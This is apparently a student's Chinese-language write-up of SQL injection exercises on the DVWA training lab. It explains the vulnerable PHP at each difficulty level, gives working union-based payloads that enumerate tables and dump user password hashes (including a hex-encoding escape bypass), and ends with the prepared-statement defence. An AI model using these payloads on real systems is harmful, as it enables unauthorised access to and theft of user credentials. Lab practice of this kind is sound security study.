在这里我所使用的的是Windows 10系统,dvwa+phpstudy_pro进行靶场练习,关于dvwa的介绍网上一搜一大把,在这里就不加以介绍了,我还是把实践内容介绍好吧!我从网上搜到各位大神操作步骤进行整理学习。
本文介绍SQL Injection的相关内容,后续内容会在之后的文章继续介绍。
小白学习中......
1、isset()函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false
2、$_REQUEST用来收集HTML表单提交的数据,点击‘submit’按钮提交表单数据
3、query变量为直接构造的sql查询语句,没有对用户的输入进行任何的过滤,导致sql注入的存在。
4、result通过mysqli_query()函数获取数据库查询的结果集。die()函数表示连接数据库失败退出当前脚本。$GLOBALS["___mysqli_ston"]表示数据库的连接语句
5、mysqli_fetch_assoc($result)从结果集中取出一行作为关联数组,即列名和值对应的键值对。
6、最后通过while判断若有查询结果且循环执行$row = mysqli_fetch_assoc( $result ),将结果集中每行结果对应的字段值赋值给相应的字段,并遍历输出。
7、mysqli_close() 函数关闭先前打开的数据库连接。
8、$GLOBALS["___mysqli_ston"]表示数据库的连接语句
9、被包围在
标签 元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。10、or (x or y)如果 x 和 y 有且仅有一个为 true,则返回 true
具体了解菜鸟教程:PHP网站(https://www.runoob.com/php/php-tutorial.html)和MySQL网站(https://www.runoob.com/mysql/mysql-tutorial.html)
先确定正常和不正常的回显
回显,就是显示正在执行的批处理命令及执行的结果等。
输入1时,有回显,是正常的
输入“2”,回显正常
输入6时,没有回显。
从1~5是查询成功的,而5以后,却不显示,说明有5个用户
判断是否存在注入点
我先尝试数字型注入:“ ’ ”,“and 1=1”,“and 1=2”
首先输入“ ’ ”,查询报错:
首先输入“1 and 1=1”,查询成功:
当输入“1 and 1=2”的时候,查询成功:
通过注入发现该注入为数字型,而不是字符型
列字段
使用命令:1' or 1=1 order by 1 # 、 1' or 1=1 order by 2 # 、1' or 1=1 order by 3 # ,查询成功。
#是注释符号
当输入“1' or 1=1 order by 1 #”时,查询成功:
当输入“1' or 1=1 order by2 #”时,查询成功:
当输入“1' or 1=1 order by 3 #”时,查询报错:
说明执行的sql查询语句中只有两个字段,即这里的First name、Surname.
猜测表名
使用命令:1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#,查询成功:
猜测列名
使用命令:1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=’users’#,查询成功:
猜用户密码
使用命令:1' union select null, concat_ws(char(32,58,32),user,password) from users#,查询成功:
判断数据库版本
使用命令:1' union select version(),2# ,版本信息大5.0,说明有数据库,可爆出:information_schema ,查询成功:于
获取数据库名称、用户
使用命令:1' union select database(),user()#,查询成功:
爆出dvwa里面的所有表名
使用命令:1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa'#,查询成功:
爆出users表里面的所有列名
使用命令:1' union select column_name,2 from information_schema.columns where table_name = 'users'#,查询成功:
爆出use和password列里面的数据
使用命令:1' union select user,password from users# ,查询成功: 但是这个命令需要MD5进行解密(https://pmd5.com/)
Medium
该级别需要burpsuite抓包来进行演练
后端控制代码
可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号
\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
后端代码解析
在low级别中,个别语句已经介绍,在这里就不一一展示,在这里展示一些low级别中未出现的。
1、$_POST接受表单以POST方式传递过来的变量
2、mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
3、mysqli_error() 函数返回最近调用函数的最后一个错误描述。
4、is_object() 函数用于检测变量是否是一个对象。如果指定变量为对象,则返回 TRUE,否则返回 FALSE。
5、$_mysqli_res可能是其中的一个定义,有可能是res=result 这个是我自己的判断
6、mysqli_connect_error() 函数返回上一次连接错误的错误描述。
界面
界面中有列表,该列表表示5个用户和low其实是一样的。
判断是否存在注入点
抓包更改参数id为1’ or 1=1 #,查询报错:
修改抓包参数id为1 or 1=1 #,查询成功:
说明存在数字型注入。(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号)
查询sql查询语句中的字段数
抓包更改参数id为1 order by 2 #,查询成功:
抓包更改参数id为1 order by 3 #,查询报错:
说明执行的sql查询语句中只有两个字段,即这里的First name、Surname。
确定显示的字段顺序
抓包更改参数id为1 union select 1,2 #,查询成功:
获取当前数据库
抓包更改参数id为1 union select 1,database() #,查询成功:
说明当前的数据库为dvwa。
获取数据库中的表
抓包更改参数id为1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:
说明数据库dvwa中一共有两个表,guestbook与users。
获取表中的字段名
抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查询报错:
这是因为单引号被转义了,变成了\’。
可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查询成功:
说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
爆出数据
抓包修改参数id为1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,该操作依然需要MD5进行解密,查询成功:
这里就爆出users表中所有的用户的user_id,first_name,last_name,password的数据。
High
后端控制代码
可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
后端代码解析
1、$_SESSION 存储和取回 session 变量的正确方法是使用 PHP $_SESSION 变量:
2、LIMIT 1 limit N:返回N条记录
3、is_null() 函数用于检测变量是否为 NULL。如果指定变量为 NULL,则返回 TRUE,否则返回 FALSE。
漏洞利用
抓包更改参数id为1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,该操作依然需要MD5解密,查询成功:
需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
Impossible
后端控制代码
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
后端代码解析
1、$_GET收集来自表单中的值
2、user_token:用户token
3、is_numeric()函数用于检测变量是否为数字或数字字符串。
4、prepare ()准备要执行的SQL语句并返回一个 PDOStatement 对象
5、bindParam () 绑定一个参数到指定的变量名
6、execute()方法返回对象
7、fetch是一种HTTP数据请求的方式,是XMLHttpRequest的一种替代方案。
8、rowCount — 返回受上一个 SQL 语句影响的行数
generateSessionToken()和CSRF相关联,在这里我也不清楚,我会在以后的时间继续完成
总结
Low、medium和high这三个等级,实际上做法是一样的,只是说他们的提交方式不同,low是get型,medium是post型,high是在一个页面输入,另外一个页面显示,但是是一样的。不过网上说high级别的是防止一般sqlmap注入,而impossible则更加高级。
感谢网上的各位大神分享sql注入的操作步骤和学习心得
参考网站:https://www.e-learn.cn/content/qita/2319755
https://blog.csdn.net/wjy9649/article/details/78844382
https://www.freebuf.com/articles/web/120747.html
https://www.ucloud.cn/yun/32412.html
https://blog.csdn.net/csdn_Pade/article/details/82854764